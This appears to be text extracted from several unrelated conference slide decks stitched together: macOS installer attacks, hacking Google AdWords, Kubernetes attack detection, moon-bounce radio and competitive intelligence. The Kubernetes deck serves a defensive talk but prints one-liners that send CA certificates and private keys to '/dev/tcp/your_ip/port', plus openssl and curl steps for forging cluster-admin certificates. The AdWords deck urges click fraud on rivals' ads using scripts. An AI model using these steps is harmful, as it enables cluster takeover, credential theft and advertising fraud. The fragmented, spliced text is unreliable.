side-stepping 'app translocation'
MAKING TARGETS WRITABLE
write-only
'app translocation'
}
CVE 2015-3715
(wardle)
CVE 2015-7024
(wardle)
testApp:...app.is.translocated!.
testApp:...original.URL:.~/Downloads/testApp.app/.
testApp:...translocated.URL:.file:///private/var/folders/r3/9nbl60856zn82n6wdtwrxw8w0000gn/T/
AppTranslocation/7E2258D4-DD10-4B39-B659-F9C9C1CC7A9F/d/testApp.app/
translocated app
$.xattr.~/Downloads/targetApp.zip.
....
com.apple.quarantine.
$.xattr.-rc.~/Download/targetApp.zip
1
2
remove xattrs
prevents translocation (writable)
prevents gatekeeper validation
intercepting .dmg mounts to achieve R/W
MAKING TARGETS WRITABLE
write-only
(/Volumes)
.dmg
$.less.~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist.
<?xml.version="1.0".encoding="UTF-8"?>.
<plist.version="1.0">.
<dict>.
.<key>LSHandlers</key>.
.<array>.
.<dict>.
...<key>LSHandlerContentType</key>.
...<string>com.apple.disk-image-udif</string>.
...<key>LSHandlerPreferredVersions</key>.
...<dict>.
......<key>LSHandlerRoleAll</key>.
......<string>-</string>.
....</dict>.
....<key>LSHandlerRoleAll</key>.
....<string>com.company.evilHijacker</string>.
.</dict>.
.</array>.
</dict>.
</plist>
com.apple.launchservices.secure.plist
-(BOOL)application:(NSApplication *)sender openFile:(NSString *)filename {
//mount .dmg as R/W!
NSTask *task = [[NSTask alloc] init];
task.launchPath = @"/usr/bin/hdiutil";
task.arguments = @[@"attach", filename, @"-shadow", @"-noverify"];
[task launch];
[task waitUntilExit];
//open in Finder.app
[[NSWorkspace sharedWorkspace] openFile:@"/Volumes/<mount point>/"];
return YES;
}
.dmg
writable :)
default handler
vmware installer/updater
EXPLOIT:
google chrome
EXPLOIT:
's Installer
EXPLOIT:
1
2
3
expand pkg
$ pkgutil --expand
cp evil.bundle
installMe/Plugins
flatten pkg & replace
$ pkgutil --flatten
system popup from within Installer.app
}
fake popup
piggy-back
off legit one
or
response:
*crickets* :(
malicious dylib in Installer.app
CONCLUSIONS
wrapping this up
scare me! Why?
AUTHENTICATION DIALOGUES
1
2
3
trivial to spoof
invoked via
insecure APIs
trusted/privileged code
often insecure
}
on my box :/
#_
end result :(
stop being so lame!
MALWARE AUTHORS
infect
trojan
email
exploits
}
1
watch & wait
2
or
so many targets!
any .pkg?
exploit
3
#_
4 r00t!
...use SMJobBless!
(MORE)SECURE INSTALLS
"SMJobBless()"
<key>SMPrivilegedExecutables</key>
<dict>
<key>com.company.HelperTool</key>
<string>identifier "com.company.HelperTool" and (certificate leaf[field.
1.2.840.113635.100.6.1.9] .... and certificate leaf[subject.OU] = <teamIdentifier>)
</string>
</dict>
Contents/Library/LaunchServices/
helper tool
app's Info.plist
service management
daemon (smd)
helper tool
/private/var/run/com.apple.xpc.smd/
PrivilegedHelperToolStaging
helper tool
/Library/PrivilegedHelperTools
launchd plist
/Library/LaunchDaemons
}
as root
verified
}
verifies
'secure'
2
3
1
4
...use SMJobBless!
(MORE)SECURE INSTALLS
AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &self->authRef);
AuthorizationItem authItem = { kSMRightBlessPrivilegedHelper, 0, NULL, 0 };
AuthorizationRights authRights = { 1, &authItem };
AuthorizationFlags flags = kAuthorizationFlagDefaults | kAuthorizationFlagInteractionAllowed | kAuthorizationFlagPreAuthorize |
kAuthorizationFlagExtendRights;
AuthorizationCopyRights(self->authRef, &authRights, kAuthorizationEmptyEnvironment, flags, NULL);
/* This does all the work of verifying the helper tool against the application
* and vice-versa. Once verification has passed, the embedded launchd.plist
* is extracted and placed in /Library/LaunchDaemons and then loaded. The
* executable is placed in /Library/PrivilegedHelperTools.
*/
SMJobBless(kSMDomainSystemLaunchd, (CFStringRef)@"com.someCompany.HelperToolBundleID", self->authRef, &error);
apple's "SMJobBless.zip"
}
...but
"The calling application &
target executable tool must
both be signed" -apple
persistently installs a
launch daemon (that must
delete itself!)
"You cannot specify your own
program arguments" -apple
(implement XPC)
SMJobBless() in code
#unload helper tool's launch daemon
sudo launchctl unload /Library/LaunchDaemons/
com.company.HelperTool.plist
#delete helper tool's launch daemon plist
sudo rm /Library/LaunchDaemons/
com.company.HelperTool.plist
#delete helper tool binary
sudo rm /Library/PrivilegedHelperTools/HelperTool
uninstall logic
free security tools!
OBJECTIVE-SEE(.COM)
KnockKnock
BlockBlock
TaskExplorer
Ostiarius
Hijack Scanner
KextViewr
RansomWhere?
support it :)
www.patreon.com/objective_see
contact me any time :)
QUESTIONS & ANSWERS
@patrickwardle
[email protected]
www.synack.com/red-team
join the red team!
patreon.com/objective_see
speakerdeck.com/patrickwardle
mahalo :)
CREDITS
-
FLATICON.COM
-
ICONMONSTR.COM
-
ICONEXPERIENCE.COM
-
HTTP://WIRDOU.COM/2012/02/04/IS-THAT-BAD-DOCTOR/
-
HTTP://TH07.DEVIANTART.NET/FS70/PRE/F/
2010/206/4/4/441488BCC359B59BE409CA02F863E843.JPG
- "AUTHORIZATION SERVICES PROGRAMMING GUIDE" APPLE
- *OS INTERNALS V.III" J. LEVIN
- "OSX FSEVENTS" HTTPS://STACKOVERFLOW.COM/A/20854586/3854841
- "APPS USING SPARKLE" HTTPS://GITHUB.COM/SPARKLE-PROJECT/SPARKLE/ISSUES/717
- "REMOVE USES OF DEPRECATED FUNCTION AUTHORIZATIONEXECUTEWITHPRIVILEGES" HTTPS://
BUGS.CHROMIUM.ORG/P/CHROMIUM/ISSUES/DETAIL?ID=593133
images
resources | pdf |
Hacking Google
AdWords
“Don’t be evil my ass”
By: StankDawg
What is Google AdWords?
• Google Advertising Program
– Pay Per Click
– Customizable
– Used by:
• Gmail
• Google Groups
• Adsense
• etc…
How does it work?
• 20 bucks up front
– $5 activation fee
– $15 Credit towards account
• Pay per click
– Bidding system
• Minimum .05
• Maximum daily value can be set
• Higher bids = better results
How does it work?
• Campaigns
– Logical Units
– Multiple campaigns for webmasters of multiple sites
• Ad Groups
– Many inside each campaign.
– Examples:
• Cars (One ad for NEW, one ad for USED)
• My site (One for Radio, one for Magazine, etc…)
What’s the problem?
•
Reactivation fees
–
“Slowed” accounts
•
Without warnings!
•
2 grace violations, then $5 fee
•
Terms of Service
–
No Hacking or Cracking
•
They do not differentiate between H/C
•
Hypocrisy
–
Hacking is invalid yet “Define:Hacker” on Google gives many
correct definitions.
–
Keyword tool suggest invalid keywords!
–
I can’t advertise Hacking, but ebay and Amazon can!
–
Google may ban “hacker” but other sites that are powered by their
AdWords engine DO NOT!
What can you do?
• Reactivate your ads
– Ads are put into rotation immediately!
– Modify your ads by making one small change
– Delete the keywords then Add them back!
• Daily limit
– Click the hell out of ads of sites you don’t like (using
proxies and/or scripts)
– Use words that you know are invalid
Tricks!
• Misspellings
–
Get hits before the real ads!
–
Cheaper (.05 minimum)
Tricks!
• Use proper names
– Coke use Pepsi, Ford use Chevrolet, etc…
Tricks!
• Use general Google hacking techniques
• Bust anyone who is “Google hacking”!
Other Interesting Applications
•
Passing hidden messages?
– 80 character limit to keywords
• Public key?
• Secret key only for the person who knows what to find.
•
And yes, there is a hidden message there. ;)
Other Interesting Applications
• Misleading People
Other Interesting Applications
• Misleading People
Other Interesting Applications
• Never piss off a hacker!
Other Interesting Applications
• Never piss off a hacker!
Other Interesting Applications
• Never piss off a
hacker!
Parting ideas
– The actual Ad can carry more 411
• URL for more 411.
• Steganography in ad?
– Gaming AdSense with AdWords 411
• Displaying high paying keywords = $$$ per click.
• Drawback: sleazy! (but surprisingly common)
Closing
• Shoutz
– The DDP!
– The Binary Revolution at http://www.binrev.com/
– DC305, FL2600.
– The internet guy from whom I stole this template.
• Beware of Google!
“The Revolution Will Be Digitized!” | pdf |
KUBERNETES中的异常活动检测
About me
0 1
@9ian1i
朱思宇
blue teamer,⼊侵对抗,业余安全开发,阿⾥云融媒体安全。
DEFCON Blue Team Village,Black Hat Arsenal 演讲者。
WatchAD – AD Security Intrusion Detection System
crawlergo – A powerful browser crawler for web vulnerability scanners
??? - kubernetes abnormal activity detection and blocking system
开源安全项⽬:
安全⻛险
安全防护
K8S安全⻛险与防护现状
0 2
Threat matrix for Kubernetes
0 3
K8S安全防护现状
*检测能⼒数据来⾃各家官⽅⽹站⽂档
https://docs.microsoft.com/en-us/azure/security-center/alerts-reference#alerts-k8scluster
https://help.aliyun.com/document_detail/191144.html#title-seo-no0-8zv
Alibaba Cloud
Google Cloud
Azure Cloud
0
AWS Cloud
0
7
云⼚商
15
K8S集群异常活动检测项数量
具备相关能⼒的国外安全⼚商
除了云⼚商,国内普遍对K8S安全防护关注不够,还停留在基线加固阶段
04
检测与对抗
05
Architecture based of audit logs detection
0 6
UI
User
Interface
CLI
Command
Line
interface
API
Server
Master
Audit Log
Logtail Agent
MQ
Threat Analytics
Alerts for
suspicious activities
Node 1
Node 2
Node n
0 7
About k8s auditing
*审计策略格式样例
k8s审计事件⽇志可记录访问API Server的所有请求,配合
审计策略设置,能记录请求与响应的详细数据。
每个Master节点上的审计⽇志并不会相互同步,需要收集
所有Master节点。
它能记录下⾯三个关键问题:
•
⽤户身份与授权信息
•
请求的操作与资源详情
•
请求的结果与响应
0 8
User
Interface
Master
etcd
API
Server
Control-
manager
scheduler
ns
default-token-xxxxx
sa-token-xxxxx
other-token-xxxxx
Host
Secrets
Node
Pod
Pod
Compromised
container
Web App
Access API Server
Master A
Master B
Master N
API Server
API Server
API Server
负载
均衡
6443
8080
容器集群渗透⼯具 匿名登录尝试 集群信息探
测
0 9
SA Suspicious Activity
通过对SA进⾏⾏为学习记录,建⽴操作基线,超出则告警。
1 0
Honeypot Account
ns
Node
Secrets
default-token-xxxxx
normal-sa-token-xxxxx
fake-admin-token-xxxxx
...
Pod A
Pod B
Host OS
file: ~/.kube/kubeconfig
投放
蜜饵账户
...
1 1
About k8s RBAC
1 2
Privilege Escalation – RBAC rolebinding/bind
hacker
API
Server
Create
rolebinding
auditing
normal account
cluster-admin
role
admin privileges
account
1 3
Privilege Escalation – RBAC createpod and SA bind
hacker
createpod privilege
create pod req
API
Server
pod
send token
Get admin JWT token
1 4
Certificate Authentication = Golden Ticket ?
UI
User
Interface
K8S的重要认证⼏乎都依赖客户端证书机制,三套CA证书与私钥是认证体系的安全核⼼
1 5
Golden Ticket – Client Certificate
apiVersion: v1
kind: Pod
metadata:
name: get-crt-key
namespace: kube-system
spec:
hostIPC: true
nodeName: master
volumes:
- name: k8s
hostPath:
path: /etc/kubernetes/
containers:
- image: centos:7
name: centos
command: ["/bin/bash"]
args: ["-c", "command"]
volumeMounts:
- mountPath: "/etc/kubernetes"
name: k8s
如何⽣成⼀张超级管理员⾦票?
第⼀步:窃取API Server的CA证书和私钥,并发送到远程服务器
hacker
create pod req
读取并发送CA证书
ps -aux | grep kube-apiserver | awk 'BEGIN{i=1}{gsub(/\s/,"\n");i++;print}' |
grep '\-\-client-ca-file' | awk -F= '{print $2}'| xargs cat > /dev/tcp/your_ip/port
读取并发送CA私钥
ps -aux | grep kube-controller-manager | awk
'BEGIN{i=1}{gsub(/\s/,"\n");i++;print}' | grep '\-\-cluster-signing-key-file' |
awk -F= '{print $2}'| xargs cat > /dev/tcp/your_ip/port
1 6
第⼆步:使⽤CA私钥与证书,本地签发cluster-admin证书
Golden Ticket – Client Certificate
cluster-admin
⽣成个⼈私钥
openssl genrsa -out admin.key 2048
⽣成cluster-admin⽤户,masters组的证书请求
openssl req -new -key admin.key -out admin.csr -subj "/CN=cluster-admin/O=system:masters"
⽤上述⽣成的证书请求,签发⾦票证书,有效期10年
openssl x509 -req -in admin.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out admin.crt -days 3650
1 7
Golden Ticket – User Forgery
如何⽣成⼀张任意⽤户(即使不存在)的⾦票?
第⼀步:窃取requestheader的CA证书和私钥,查询 , 并发送到远程服务器。
—requestheader-allowed-names
hacker
create pod req
apiVersion: v1
kind: Pod
metadata:
name: get-crt-key
namespace: kube-system
spec:
hostIPC: true
nodeName: master
volumes:
- name: k8s
hostPath:
path: /etc/kubernetes/
containers:
- image: centos:7
name: centos
command: ["/bin/bash"]
args: ["-c", "command"]
volumeMounts:
- mountPath: "/etc/kubernetes"
name: k8s
读取并发送CA证书
ps -aux | grep kube-apiserver | awk
'BEGIN{i=1}{gsub(/\s/,"\n");i++;print}' | grep '\-\-requestheader-
client-ca-file' | awk -F= '{print $2}'| xargs cat >
/dev/tcp/your_ip/port
读取并发送CA私钥
cat /etc/kubernetes/pki/front-proxy-ca.key >
/dev/tcp/your_ip/port
读取并发送 requestheader-allowed-names
ps -aux | grep kube-apiserver | awk
'BEGIN{i=1}{gsub(/\s/,"\n");i++;print}' | grep '\-\-requestheader-
allowed-names' | awk -F= '{print $2}'> /dev/tcp/your_ip/port
CA私钥
CA证书
requestheader-allowed-names
front-proxy-client
1 8
hacker
Golden Ticket – User Forgery
第⼆步:使⽤requestheader的CA私钥与证书,本地签发指定⽤户证书
⽣成个⼈私钥
openssl genrsa -out user.key 2048
⽣成 CN=front-proxy-client 证书请求
openssl req -new -key user.key -out user.csr -subj "/CN=front-proxy-client"
⽤上述⽣成的证书请求,签发证书,有效时间10年
openssl x509 -req -in user.csr -CA front-proxy-ca.crt -CAkey front-proxy-ca.key -CAcreateserial -out user.crt -days 3650
第三步:使⽤该证书发起请求,伪造任意⽤户
curl -ki --cacert front-proxy-ca.crt --key siyu.key --cert siyu.crt
http://39.107.182.57:6443/api/v1/secrets -H 'X-Remote-Group:
system:masters' -H 'X-Remote-User: hacker'
1 9
Defense Evasion
remove audit log settings
set --allow-privileged=true
set --insecure-port=9443
set --secure-port=9444
set --anonymous-auth=true
set --authorization-mode=AlwaysAllow
dump
create
update
kube-apiserver-
xxx.yaml
Shadow API Server
2 0
怎么优化?
已知问题:
•
存在攻击⼿法可绕过K8S审计事件⽇志。
•
当前架构只能事后审计检测,⽆法实时阻断。
•
对于⾮云环境,⼤规模⽇志实时消费对于基础设施有⼀定要求。
除了审计事件⽇志,我们还能从什么地⽅进⾏检测?
2 1
Validating admission webhook
2 2
Architecture
UI
User
Interface
CLI
Command
Line
interface
API
Server
Master
Alerts for
suspicious activities
Node 1
Node 2
Node n
Mutating
Webhooks
Validating
Webhooks
etcd
Threat Analytics
Threat Analytics
By audit log
Dynamic Admission
Control
2 3
Dynamic Admission Control
{
"apiVersion": "admission.k8s.io/v1beta1",
"kind": "AdmissionReview",
"request": {
"uid": "705ab4f5-6393-11e8-b7cc-42010a800002",
"kind": {
"group": "autoscaling",
"version": "v1",
"kind": "Scale"
},
"resource": {
"group": "apps",
"version": "v1",
"resource": "deployments"
},
"subResource": "scale",
"requestKind": {
"group": "autoscaling",
"version": "v1",
"kind": "Scale"
},
"requestResource": {
"group": "apps",
"version": "v1",
"resource": "deployments”
... ...
API
Server
// 遍历启动参数 查找⻛险项
for _, container := range pod.Spec.Containers {
for _, cmd := range container.Command {
if util.SliceFindStr(riskCmd, cmd) {
// 发现⻛险启动命令
vulCmdList = append(vulCmdList, cmd)
}
}
// 查找是否开启了审计⽇志,未找到则告警
for _, prefix := range auditSettingPrefix {
if !util.SlicePrefixFind(container.Command, prefix) {
missingAuditSettings =
append(missingAuditSettings, prefix)
}
}
}
AdmissionReview Request
All Requests
Operations that
need to be
persisted to etcd
2 4
No coding , More Cloud Native
Gatekeeper
https://github.com/open-policy-agent/gatekeeper
https://github.com/open-policy-agent/opa
OPA
kube-mgmt
apiVersion:
constraints.gatekeeper.sh/v
1beta1
kind: K8sRequiredLabels
metadata:
name: ns-must-have-gk
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Namespace"]
parameters:
labels: ["gatekeeper"]
CLI
Command
Line
interface
API
Server
Validating Webhooks
etcd
2 5
End
K8S中⼼化管理带来的便捷,就会带来对应的安全⻛险,同时放⼤安全影响。
传统基于主机的防御架构和思路,在云原⽣环境上会明显⽔⼟不服。
•
传统环境注重横向移动,更多的在应⽤层寻找突破⼝。
•
云原⽣安全中,作为关键基础设施的K8S集群最为重要,攻击会更多的围绕拿下集群管理权限,
从⽽接管整个集群,控制所有机器。
@9ian1i
@Qianlitp
[email protected]
阿⾥云融媒体安全持续招聘⼊侵对抗、⻛控、应⽤安全、安全研发。
2 6
M A N O E U V R E
感谢观看!
KCon 汇聚⿊客的智慧 | pdf |
DCFluX in:
Moon-Bouncer
DCFluX in:
Moon-Bouncer
Presented By:
Matt Krick, DCFluX – K3MK
Chief Engineer, New West Broadcasting Systems, Inc.
DEFCON 18; Las Vegas, NV
Track 4
Friday July 30, 2010; 17:00 – 17:50
In A.D. 2101
War Was Beginning
Hidden Agenda
1. A Series of Tubes
2. Natural Satellites and Moon Bouncing
3. Artificial Satellites and cleaver ways to use them
0. About the Author
5. Other stuff you can blame me for
4. Weather balloons as satellites
• Matt Krick
• “DCFluX”
• Video Editor
• Broadcast Engineer
– 1998 to Present
• K3MK
– Licensed to
Transmit, 1994 to
Present
0. About the Author
0. About the Author
Triodes and Tetrodes
1. A Series of Tubes
Magnetron (Radar Type)
1. A Series of Tubes
Magnetron (Radar Type) Magnet
1. A Series of Tubes
Magnetron (Microwave Oven Type)
1. A Series of Tubes
Klystron Tube
1. A Series of Tubes
Klystron Tube (Reflex)
1. A Series of Tubes
Traveling Wave Tube
1. A Series of Tubes
Traveling Wave Tube Amplifier
1. A Series of Tubes
Hydrogen MASER
1. A Series of Tubes
Hydrogen MASER
1. A Series of Tubes
2. Natural Satellites and Moon Bouncing
2. Natural Satellites and Moon Bouncing
Earth’s Moon
• Diameter: 3,474.2 km
2. Natural Satellites and Moon Bouncing
Project Diana
• Frequency: 111.50 MHz
Perigee
Apogee
40m (7 MHz)
230.5 dB
232.7 dB
10m (30 MHz)
242.5 dB
244.8 dB
6m (54 MHz)
247.5 dB
249.8 dB
2m (148 MHz)
256.7 dB
259.0 dB
70cm (450 MHz)
266.0 dB
268.3 dB
33cm (928 MHz)
272.6 dB
274.9 dB
23cm (1.3 GHz)
275.4 dB
277.7 dB
13cm (2.45 GHz)
281.2 dB
283.4 dB
3cm (10.5 GHz)
294.0 dB
296.2 dB
2. Natural Satellites and Moon Bouncing
Moon Bounce Path Attenuation
• 8000 W Transmitter (+69 dBm)
• 111.5 MHz EME Path (-256.7 dB)
• 64 Dipole Array (+24 dB)
• Feed Line Loss (-4.2 dB)
69 + 24 - 4.2 - 256.7 + 24 – 4.2 =
-148.1 dBm
2. Natural Satellites and Moon Bouncing
Project Diana Path Loss
2. Natural Satellites and Moon Bouncing
Increasing Receiver Sensitivity
• Decrease Thermal Noise
• Decrease Bandwidth
• Decrease System Noise Figure
2. Natural Satellites and Moon Bouncing
Project Diana Receiver
• Receiver Bandwidth: 57 Hz
70° F ( 294.3° K )
-321° F ( 77° K )
-457° F ( 1° K )
0.01 Hz
-194.0 dBm
-210.0 dBm
-218.0 dBm
0.1 Hz
-184.0 dBm
-200.0 dBm
-208.0 dBm
1 Hz
-174.0 dBm
-190.0 dBm
-198.0 dBm
10 Hz
-164.0 dBm
-180.0 dBm
-188.0 dBm
500 Hz
-147.0 dBm
-163.0 dBm
-171.0 dBm
3 kHz
-139.2 dBm
-155.2 dBm
-163.2 dBm
16 kHz
-132.0 dBm
-148.0 dBm
-156.0 dBm
1 MHz
-114.0 dBm
-130.0 dBm
-138.0 dBm
22 MHz
-100.0 dBm
-116.0 dBm
-124.0 dBm
2. Natural Satellites and Moon Bouncing
Sensitivity vs. Bandwidth and Temperature
2. Natural Satellites and Moon Bouncing
Project Diana Receiver Sensitivity
• -174 dBm per Hz at 70° F
• 10 log10 bandwidth (57 Hz = 17.6 dB)
• 7 dB Receiver Noise Figure
-174 + 17.6 + 7 =
-149.4 dBm
2. Natural Satellites and Moon Bouncing
Project Diana Returned Echo
2. Natural Satellites and Moon Bouncing
Communication Moon Relay
2. Natural Satellites and Moon Bouncing
Communication Moon Relay
2. Natural Satellites and Moon Bouncing
Communication Moon Relay
Minimum
Maximum
SSCW (Morse Code)
0.1 Hz
20 Hz
CW (Morse Code)
20 Hz
150 Hz
RTTY
270 Hz
370 Hz
PSK31
-
37.5 Hz
JT65A
-
177.6 Hz
Side Band Phone
2.4 kHz
3 kHz
AM Phone
5 kHz
10 kHz
Narrower Band FM Phone
-
8 kHz
Narrow Band FM Phone
-
16 kHz
2. Natural Satellites and Moon Bouncing
Bandwidth of Popular Modes
• 10W Transmitter (+40 dBm)
• Receiver Pre Amplifier (+12dB)
• 928 MHz EME Path (-274.9 dB)
• 15’ Parabolic Dish (+30 dB)
• Feed Line Loss (-0.5 dB)
40 + 30 - 0.5 – 274.9 + 30 - 0.5 + 12
-163.9 dBm
2. Natural Satellites and Moon Bouncing
900 MHz WiFi Moon Bounce?
• 10W Amplifier (+40 dBm)
• Receiver Pre Amplifier (+12dB)
• 928 MHz x 405,696 km (-204 dB)
• 15’ Parabolic Dish (+30 dB)
• Feed Line Loss (-0.5 dB)
40 + 30 - 0.5 - 204 + 30 + 12 - 0.5
-93 dBm
2. Natural Satellites and Moon Bouncing
900 MHz WiFi One Way?
2. Natural Satellites and Moon Bouncing
900 MHz WiFi One Way?
• 1W Amplifier (+30 dBm)
• Receiver Pre Amplifier (+12 dB)
• 2.45 GHz EME Path (-283.4 dB)
• Arecibo Dish (+75 dB)
• Feed Line Loss (-1 dB)
30 + 75 - 1 - 283.4 + 75 +12 - 1
-93.4 dBm
2. Natural Satellites and Moon Bouncing
802.11b/g Moon Bounce
2. Natural Satellites and Moon Bouncing
802.11b/g Moon Bounce
2. Natural Satellites and Moon Bouncing
Frickin’ Laser Beams
2. Natural Satellites and Moon Bouncing
Frickin’ Laser Beams
2. Natural Satellites and Moon Bouncing
Frickin’ Laser Beams
2. Natural Satellites and Moon Bouncing
Frickin’ Laser Beams
• 1500 W Transmitter (+61.8 dBm)
• Receiver Pre Amplifier (+24 dB)
• 144 MHz EME Path (-259 dB)
• 17 Element Yagi (+18 dB)
• Feed Line Loss (-0.5 dB)
61.8 + 18 - 0.5 - 259 + 18 + 24 - 0.5
-138.2 dBm
2m Moon Bounce
2. Natural Satellites and Moon Bouncing
2m 48 Yagi Phased Array
2. Natural Satellites and Moon Bouncing
Typical Microwave Oven
2. Natural Satellites and Moon Bouncing
Typical Microwave Oven
2. Natural Satellites and Moon Bouncing
Phase Locked Microwave Oven
2. Natural Satellites and Moon Bouncing
Injection Locked Microwave Oven
2. Natural Satellites and Moon Bouncing
• 750W Microwave Oven (+59 dBm)
• Receiver Pre Amplifier (+12 dB)
• 2.45 GHz EME Path (-283.4 dB)
• 12’ Parabolic Dish (+36.4 dB)
• Feed Line Loss (-0.5 dB)
59 + 36.4 - 0.5 - 283.4 + 36.4 + 12 - 0.5
-140.6 dBm
13cm Moon Bounce
2. Natural Satellites and Moon Bouncing
Surplus Parabolic Dishes
2. Natural Satellites and Moon Bouncing
Surplus Parabolic Dishes
2. Natural Satellites and Moon Bouncing
Surplus Parabolic Dishes
2. Natural Satellites and Moon Bouncing
Surplus Parabolic Dishes
2. Natural Satellites and Moon Bouncing
Surplus Parabolic Dishes
2. Natural Satellites and Moon Bouncing
Highest Usable Frequency
2.00”
590 MHz
1.50”
790 MHz
1.00”
1.18 GHz
0.750”
1.57 GHz
0.500”
2.36 GHz
0.375”
3.15 GHz
0.250”
4.72 GHz
0.125”
9.45 GHz
0.0625”
18.9 GHz
My Dish Has Holes In It
2. Natural Satellites and Moon Bouncing
Sputnik 1
3. Artificial Satellites and cleaver ways to use them
Dogs in Space (Sputnik 2)
3. Artificial Satellites and cleaver ways to use them
Dogs in Space (Sputnik 6)
3. Artificial Satellites and cleaver ways to use them
ECHO-1A
3. Artificial Satellites and cleaver ways to use them
Syncom 3
• 180° West
• 7360 MHz Uplink
• 1815 MHz Downlink
• 1- 5 MHz Channel
• 1 - 13 MHz Channel
3. Artificial Satellites and cleaver ways to use them
• Apogee: 818.00
• Perigee: 696.00
• Inclination: 99.97
• Period: 99.97
• Uplinks
– 2 m & 23 cm
• Downlinks
– 70 cm & 13 cm
AMSAT-OSCAR 51 (Echo)
3. Artificial Satellites and cleaver ways to use them
• 89° West
• 22 C Band
• 36 Ku Band
• 24 Ka Band
Telstar 28 (S2205)
3. Artificial Satellites and cleaver ways to use them
Linear Transponder
3. Artificial Satellites and cleaver ways to use them
Ku Band Coverage (S2205)
3. Artificial Satellites and cleaver ways to use them
Average
C Band Downlink (4.2 GHz)
196.3 dB
C Band Uplink (6.4 GHz)
200.0 dB
Ku Band Downlink (12.2 GHz)
205.5 dB
Ku Band Uplink (14.5 GHz)
207.0 dB
Ka Band Downlink Gateway (18.8 GHz)
209.3 dB
Ka Band Downlink VSAT (20.2 GHz)
209.9 dB
Ka Band Uplink Gateway (28.6 GHz)
212.9 dB
Ka Band Uplink VSAT (30 GHz)
213.4 dB
Satellite Path Attenuation
3. Artificial Satellites and cleaver ways to use them
Ka Band VSAT Transmitter
3. Artificial Satellites and cleaver ways to use them
Ka Band VSAT Transmitter
3. Artificial Satellites and cleaver ways to use them
Spaceway 3 (S2663)
3. Artificial Satellites and cleaver ways to use them
Spot Beam Reflector
3. Artificial Satellites and cleaver ways to use them
Spot Beam Input Tubes
3. Artificial Satellites and cleaver ways to use them
• Meteorites
• Solar Flares
• Leaking Capacitors
• Exploding Batteries
• Tin Whiskers
Taking Down Satellites
(Natural Causes)
3. Artificial Satellites and cleaver ways to use them
• China
– Modified Ballistic Missiles
• United States
– Modified Surface to Air Missiles
– Frickin’ Laser Beams
• Russia
– 23 mm Cannon
– Weather Satellites
Taking Down Satellites
(Government Intervention)
3. Artificial Satellites and cleaver ways to use them
Taking Down Satellites
(Home Edition)
Frequency
Frequency
Emission
Emission
Profit!
Profit!
3701 MHz
5926.5 MHz
29.9995 GHz
500KG1D
????
Parking Orbit
Vanned
Atmosphere
Reentry
20.198 GHz
500KF1D
3. Artificial Satellites and cleaver ways to use them
Jet Stream
4. Weather balloons as satellites
• WRT54GL
– 200 mW (+23 dBm)
– 9 dB Antenna
– 8 GB Secure Digital Card
• 32’ Latex Balloon
– Altitude Station Keeping System
• GPS & TinyTrak-4
– 144.39 MHz APRS
– Provides Altitude Information
Example Payload
4. Weather balloons as satellites
2.4 GHz at 2 m Altitude
4. Weather balloons as satellites
2.4 GHz at 18000 m Altitude
4. Weather balloons as satellites
2.4 GHz at 25000 m Altitude
4. Weather balloons as satellites
Repeater Desense Generator
5. Other stuff you can blame me for
Microwave Oven 802.11b/g Jammer
5. Other stuff you can blame me for
Questions?
Questions?
[email protected]
Track 4 Q&A Room
Track 4 Q&A Room
DCFluX in:
Moon-Bouncer
DCFluX in:
Moon-Bouncer
DCFluX will return in:
DCFluX will return in:
License to Transmit
License to Transmit | pdf |
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
Michael Schrenk
Las Vegas, Nevada
@mgschrenk
DEF CON XXIII
DEF CON XXIII
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
IN ADDITION TO OTHER EXAMPLES
Retail business
my girlfriend & I own
How we CREATE and
APPLY intelligence
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
IN ADDITION TO OTHER EXAMPLES
Retail business
my girlfriend & I own
How we CREATE and
APPLY intelligence
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
You'll hear how we use competitive
intelligence to:
1.) Conduct intelligence campaigns on
a. Our competitors
b. Our sales channels
2.) Know exactly what inventory to buy
3.) Manipulate markets
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
You'll hear how we use competitive
intelligence to:
1.) Conduct intelligence campaigns on
a. Our competitors
b. Our sales channels
2.) Know exactly what inventory to buy
3.) Manipulate markets
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
You'll hear how we use competitive
intelligence to:
1.) Conduct intelligence campaigns on
a. Our competitors
b. Our sales channels
2.) Know exactly what inventory to buy
3.) Manipulate markets
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
You'll hear how we use competitive
intelligence to:
1.) Conduct intelligence campaigns on
a. Our competitors
b. Our sales channels
2.) Know exactly what inventory to buy
3.) Manipulate markets
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
You'll hear how we use competitive
intelligence to:
1.) Conduct intelligence campaigns on
a. Our competitors
b. Our sales channels
2.) Know exactly what inventory to buy
3.) Manipulate markets
Protect Our Investment
Protect Our Investment
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
INTELLIGENCE
BUSINESS
COMPETITIVE
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
INTELLIGENCE
BUSINESS
COMPETITIVE
- What's happing within
your business?
- Internal data
- Focus on efficiency
a.) knowing operations
b.) knowing resources
- What's happening outside
of your business?
- External data
- Focus on competitiveness
a.) knowing competitors
b.) knowing markets
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
INTELLIGENCE
BUSINESS
COMPETITIVE
- What's happing within
your business?
- Internal data
- Focus on efficiency
a.) knowing operations
b.) knowing resources
- What's happening outside
of your business?
- External data
- Focus on competitiveness
a.) knowing competitors
b.) knowing markets
APPLIED INTELLIGENCE:
APPLIED INTELLIGENCE:
Using information that isn't there
Using information that isn't there
INTELLIGENCE
BUSINESS
COMPETITIVE
- What's happing within
